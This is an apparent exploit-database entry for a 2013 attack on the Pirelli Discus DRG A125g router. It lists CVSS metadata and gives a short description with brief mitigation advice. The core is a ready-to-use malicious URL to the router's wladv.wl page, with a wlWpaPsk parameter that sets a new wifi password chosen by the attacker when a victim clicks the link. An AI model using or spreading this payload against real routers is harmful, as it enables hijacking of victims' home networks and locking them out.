Pirelli Discus DRG A125g remote change wifi password

vendor:

Discus DRG A125g

by:

Sebastián Magof

8,8

CVSS

HIGH

Remote Change Wifi Password

N/A

CWE

Product Name: Discus DRG A125g

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux/Windows

2013

Pirelli Discus DRG A125g remote change wifi password

This exploit allows an attacker to change the password of a victim's wifi by sending them a malicious URL. The URL contains a parameter, wlWpaPsk, which is where the attacker can enter the new password they want to set for the victim's wifi. If the victim clicks on the URL, their modem/router will reboot automatically with the new password provided by the attacker.

Mitigation:

Users should be aware of malicious URLs and should not click on them. Additionally, users should ensure that their wifi passwords are strong and not easily guessable.

Source

Exploit-DB raw data:

# Exploit Title: Pirelli Discus DRG A125g remote change wifi password
vulnerability
# Hardware: Pirelli Discus DRG A125g
# Date: 2013/11/23
# Exploit Author: Sebastián Magof
# Tested on: Linux/Windows
# Twitter: @smagof
# Greetz: Family, friends && under guys.
# Special Greetz:
# (\/)
# (**) αlpha
#(")(")


#Exploit:

http://10.0.0.2/wladv.wl?wlSsidIdx=0&wlHide=0&wlAuthMode=psk2&wlAuth=0&wlWep=disabled&wlWpaPsk=PASSWORDHERE&wlWpaGtkRekey=0&wlKeyBit=1&wlPreauth=1&wlWpa=tkip

#info: where the parameter wlWpaPsk=PASSWORDHERE is where we will enter the
password we want to put the victim wifi. If the victim clicks on the url
your modem / router will reboot automatically with the new password
provided by the attacker.